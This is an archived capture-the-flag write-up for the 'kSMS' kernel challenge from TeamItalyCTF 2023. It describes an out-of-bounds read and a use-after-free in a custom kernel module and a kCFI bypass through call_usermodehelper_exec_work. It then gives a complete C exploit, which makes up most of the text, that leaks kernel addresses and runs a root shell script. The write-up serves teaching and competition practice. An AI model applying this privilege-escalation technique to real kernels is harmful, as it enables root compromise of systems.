Skip to content
This repository has been archived by the owner on Oct 15, 2023. It is now read-only.

Latest commit

 

History

History

kSMS

TeamItalyCTF 2023

[pwn] kSMS (0 solves)

I implemented a Secure Message Storage in the Kernel, can you please take a look at it?

This is a remote challenge, you can connect with:

nc ksms.challs.teamitaly.eu 29003

Author: Vincenzo Bonforte <@Bonfee>

Overview

Kernel is compiled with kCFI, and the rest of the config is pretty much COS with some modifications.
Many syscalls are disabled (msgmsg, io_uring, netfilter, ...), either through the kconfig or through the seccomp policy of the nsjail.

Intended solution

The kmod has two (intended) vulnerabilities:

  • OOB read in CMD_READ_MESSAGE
  • UAF in the redact_loop kthread

OOB read

m->consumed += args->len;
The only tricky part is that the kernel is compiled with HARDENED_USERCOPY so the oob read must not read data across the boundaries of a slub object.

UAF

While the kthread is sleeping (msleep(min_lifetime)) it's still possible to free a secure_message entry from the array as the kthread still has a reference in the struct secure_message *m variable.
After sleeping the kthread will call schedule_work(&m->work).

If we reclaim the message object before schedule_work is called we would be able to call an arbitrary function pointer, however kCFI is enabled and we can only call functions with the same signature as void redact_message(struct work_struct *work).

The intended solution to bypass kCFI is to overwrite work->func with void call_usermodehelper_exec_work(struct work_struct *work), link.
Its enough to craft a fake struct subprocess_info when reclaiming the freed message object to execute arbitrary commands as root and read the flag from /dev/sda.

Exploit

// musl-gcc exploit.c -o exploit -static -O0 && strip exploit
#include <stdio.h>
#include <fcntl.h>
#include <err.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <assert.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>

#define CMD_ADD_MESSAGE 0x11111111
#define CMD_READ_MESSAGE 0x22222222
#define CMD_DELETE_MESSAGE 0x33333333

void err_exit(int code, char *msg) {
    puts("[-] EXPLOIT FAILED");
    err(code, msg);
}

void hexprint(char *buffer, unsigned int bytes) {
    uint64_t *buf = (uint64_t*)buffer;
    int dqwords = ((bytes + 0x10 - 1) & 0xfffffff0) / 0x10;
    for (int i = 0; i < (dqwords * 2); i += 2)
        if (buf[i] || buf[i+1])
            printf("0x%04x: 0x%016lx 0x%016lx\n", (i * 0x8), buf[i], buf[i+1]);
    puts("-----------------------------------------------");
    return;
}

typedef struct params {
    void *buf;
    uint32_t lifetime;
    uint32_t len;
    uint32_t idx;
} params_t;

typedef struct work_struct {
	uint64_t data;
	uint64_t next, prev;
	uint64_t func;
} work_struct_t;

typedef struct secure_message {
    work_struct_t work;
    uint32_t lifetime;
    uint32_t consumed;
    uint32_t content_size;
} secure_message_t;

typedef struct subprocess_info {
	work_struct_t work;
	uint64_t complete;
	uint64_t path;
	uint64_t argv;
	uint64_t envp;
	uint32_t wait;
	uint32_t retval;
	uint64_t init;
	uint64_t cleanup;
	uint64_t data;
	/* size: 96, cachelines: 2, members: 10 */
} subprocess_info_t;

int fd;

int add_secmsg(char *buf, uint32_t len, uint32_t lifetime) {
    params_t args = {
        .buf = buf,
        .len = len,
        .lifetime = lifetime
    };
    if (ioctl(fd, CMD_ADD_MESSAGE, &args) < 0)
        err_exit(1, "CMD_ADD_MESSAGE");
    return args.idx;
}

void read_secmsg(uint32_t idx, char *buf, uint32_t len) {
    params_t args = {
        .idx = idx,
        .buf = buf,
        .len = len
    };
    args.buf = buf;
    args.len = len;
    ioctl(fd, CMD_READ_MESSAGE, &args);
}

void delete_secmsg(uint32_t idx) {
    params_t args = {
        .idx = idx
    };
    if (ioctl(fd, CMD_DELETE_MESSAGE, &args) < 0)
        err_exit(1, "CMD_DELETE_MESSAGE");
}

int main() {
    params_t args;
    uint64_t kaslr_leak, kaslr_base, heap_leak_1, heap_leak_2, q1;
    char buf[0x500] = {0};
    char buf2[0x500] = {0};
    char buf3[0x1000] = {0};
    int victim_idx, leak_idx;
    int found = 0;
    int ss[2];

    memset(buf, 0x41, sizeof(buf));
    memset(buf3, 0x43, sizeof(buf3));

    fd = open("/dev/secmsg_storage", O_RDONLY);
    if (fd < 0)
        err_exit(1, "open");

    if (socketpair(AF_UNIX, SOCK_STREAM, 0, ss) < 0)
            err_exit(1, "[-] socketpair 1");

    puts("lesgo");

    /*
        Write payload to file
    */
    system("echo -e '#!/bin/sh\ncat /dev/sda > /jail/flag\nchmod 666 /jail/flag' > /jail/a; chmod +x /jail/a");

    /*
        Leak kASLR
    */
    for (int i = 0; i < 20; i++)
        open("/dev/ptmx", O_RDWR | O_NOCTTY);

    leak_idx = add_secmsg(buf, 600, 1001);

    for (int i = 20; i < 40; i++)
        open("/dev/ptmx", O_RDWR | O_NOCTTY);

    read_secmsg(leak_idx, buf2, 0x400 - 44);
    read_secmsg(leak_idx, buf2, 0x100);

    hexprint(buf2, 0x100);

    kaslr_leak = ((uint64_t*)buf2)[3];

    printf("[*] kaslr_leak : 0x%lx\n", kaslr_leak);

    if ((kaslr_leak & 0xffffffff00000fffULL) == 0xffffffff00000968ULL) {
        kaslr_base = kaslr_leak - 0x1275968;
        printf("[*] kaslr_base : 0x%lx\n", kaslr_base);
    } else if ((kaslr_leak & 0xffffffff00000fffULL) == 0xffffffff00000860ULL) {
        kaslr_base = kaslr_leak - 0x1275860;
        printf("[*] kaslr_base : 0x%lx\n", kaslr_base);
    } else {
        delete_secmsg(leak_idx);
        exit(1);
    }

    sleep(2);

    delete_secmsg(leak_idx);

    puts("[+] freed");
    sleep(1);
    /* */

    /*
        Leak heap
    */
    for (int i = 0; i < 7; i++) {
        *((uint32_t*)buf) = i;
        add_secmsg(buf, 0x100, 1001 + i);
    }

    for (int i = 0; i < 7; i++) {
        read_secmsg(i, buf2, 0x200 - 44);
        read_secmsg(i, buf2, 0x100);

        q1 = ((uint64_t*)buf2)[0];
        heap_leak_1 = ((uint64_t*)buf2)[1];
        heap_leak_2 = ((uint64_t*)buf2)[2];

        if (q1 == 0x0000000fffffffe0ULL &&
            heap_leak_1 == heap_leak_2  &&
            ((heap_leak_1 & 0xffff000000000000) == 0xffff000000000000)) {
            found = 1;
            victim_idx = ((uint32_t*)buf2)[11];
            printf("[*] heap leak 1 : 0x%lx\n", heap_leak_1);
            printf("[*] heap leak 2 : 0x%lx\n", heap_leak_2);
            printf("[*] victim idx : %d\n", victim_idx);
            hexprint(buf2, 0x100);
            break;
        }
    }

    if (!found)
        err_exit(1, "no heap leak");

    sleep(3);
    /* */

    /*
        UAF and overwrite work
    */
    memset(buf, 0x44, sizeof(buf));

    delete_secmsg(victim_idx);

    puts("[+] freed victim idx 1");

    victim_idx = add_secmsg(buf, 0x100, 5000 - 1);
    printf("[+] re-allocated victim idx %d\n", victim_idx);

    // make sure kthread is sleeping on our thread
    sleep(2);

    delete_secmsg(victim_idx);
    puts("[+] freed victim idx 2");

    memset(buf, 0x45, sizeof(buf));

    heap_leak_1 -= 0x8;

    subprocess_info_t *info = (subprocess_info_t*)buf;
    info->work.data = 0x0000000fffffffe0;
    info->work.func = kaslr_base + 0xcb9b0; // call_usermodehelper_exec_work
    info->work.prev = heap_leak_1 + 0x8;
    info->work.next = heap_leak_1 + 0x8;
    info->path = heap_leak_1 + 0x70;
    info->argv = heap_leak_1 + 0x80;
    info->envp = 0x0;
    info->cleanup = 0x0;
    info->init = 0x0;
    info->data = 0x0;
    info->complete = 0x0;
    info->wait = 0x2; // UMH_WAIT_PROC;

    strcpy(buf + 0x70, "/jail/a");
    *(uint64_t*)(buf + 0x80) = heap_leak_1 + 0x70;
    *(uint64_t*)(buf + 0x88) = 0x0;

    if (write(ss[0], buf, 512 - 0x140) < 0)
        err_exit(1, "[-] write");
    puts("[*] reclaimed victim");

    puts("[+] waiting for cmd to be executed...");
    sleep(5);
    puts("[+] cmd should be done");

    puts("[+] fixing skb alloc");
    memset(buf, 0x0, sizeof(buf));
    add_secmsg(buf, 0x100, 5000 - 1);
    puts("[+] done");

    puts("[+] reading flag");
    system("cat /jail/flag");
    puts("");
    puts("[+] expl done");
    return 0;
}

Flag

flag{g00d_j0b_1f_y0u_us3d_5ubpr0c3ss_1nf0_t0_byp455_kcf1_s0_3z}